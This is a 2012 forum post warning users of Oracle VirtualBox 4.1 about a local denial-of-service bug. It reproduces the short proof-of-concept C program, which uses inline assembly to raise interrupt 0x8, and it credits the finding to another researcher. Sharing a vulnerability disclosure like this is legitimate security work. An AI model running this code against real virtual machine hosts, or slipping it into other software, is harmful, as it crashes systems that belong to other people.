Title: VirtualBox exploit [DoS]
Post by: Daemon on September 11, 2012, 08:32:47 AM

Word of caution to all you Oracle VB users out there, an exploit has been found in VB v. 4.1 that allows a local DoS attack. High risk? Not unless you have a lot of people with physical access to your network who hate you. But is it interesting? Oh yes! Let's take a look at it...

Code: [Select]

int main(int argc, char **argv)
{  asm (   
    "int $0x8;"   
    : // output: none   
    : // input: none   
    :"%eax", "%ebx", "%ecx", "%edx"   // clobbered register 
    );
 return(0);
}

All credit for this discovery goes to halfdog, whoever that may be :) This is dated today btw, so cheers on the new exploit
